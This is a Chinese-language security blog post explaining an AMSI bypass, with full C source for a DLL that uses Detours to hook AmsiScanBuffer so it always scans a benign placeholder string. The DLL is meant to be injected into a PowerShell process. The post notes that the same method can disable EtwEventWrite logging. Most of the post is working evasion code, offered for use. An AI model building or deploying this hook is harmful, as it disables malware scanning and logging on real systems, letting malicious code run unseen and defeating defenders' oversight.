idiotc4t's blog
搜索文档…
基于API Hook和DLL注入的AMSI绕过

简介

前面我们有详细的介绍过AMSI的原理和基于内存补丁的绕过方法,这次我们介绍一种略微复杂的方法,同时这种方法也可以应用于各种场景,前面我们有介绍过通过微软开源库Detours的inLineHook和进程注入的dll注入,这次我们把这两种技术做一个组合,来实现amsi的绕过,同样的思路也可以对 EtwEventWrite进行修补,使其丧失记录日志能力。

流程

  1. 1.
    编写一个hook AmsiScanBuffer的dll
  2. 2.
    使用dll注入进powershell进程
  3. 3.
    完成绕过

代码

dll注入的代码延用CreateRemoteThrea的代码。
1
#include <Windows.h>
2
#include <stdio.h>
3
#include <amsi.h>
4
#include "include/detours.h"
5
#pragma comment(lib, "amsi.lib")
6
#pragma comment(lib,"lib.X64/detours.lib")
7
8
#define SafeString "SafeString"
9
10
static HRESULT(WINAPI* _AmsiScanBuffer)(
11
HAMSICONTEXT amsiContext,
12
PVOID buffer,
13
ULONG length,
14
LPCWSTR contentName,
15
HAMSISESSION amsiSession,
16
AMSI_RESULT* result
17
) = AmsiScanBuffer;
18
19
HRESULT WINAPI AmsiScanBuffer_(
20
HAMSICONTEXT amsiContext,
21
PVOID buffer,
22
ULONG length,
23
LPCWSTR contentName,
24
HAMSISESSION amsiSession,
25
AMSI_RESULT* result
26
)
27
{
28
return _AmsiScanBuffer(amsiContext, (BYTE*)SafeString, length, contentName, amsiSession, result);
29
}
30
31
32
BOOL APIENTRY DllMain(HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
33
{
34
if (DetourIsHelperProcess()) {
35
return TRUE;
36
}
37
switch (ul_reason_for_call)
38
{
39
case DLL_PROCESS_ATTACH:
40
DetourTransactionBegin();
41
DetourUpdateThread(GetCurrentThread());
42
DetourAttach(&(PVOID&)_AmsiScanBuffer, AmsiScanBuffer_);
43
DetourTransactionCommit();
44
printf("hook ok\n");
45
break;
46
case DLL_THREAD_ATTACH:
47
break;
48
case DLL_THREAD_DETACH:
49
break;
50
case DLL_PROCESS_DETACH:
51
DetourTransactionBegin();
52
DetourUpdateThread(GetCurrentThread());
53
DetourDetach(&(PVOID&)_AmsiScanBuffer, AmsiScanBuffer_);
54
DetourTransactionCommit();
55
break;
56
}
57
return TRUE;
58
59
}
Copied!

LINKS

Understanding and Bypassing AMSI
x64Sec
最近更新 1yr ago
复制链接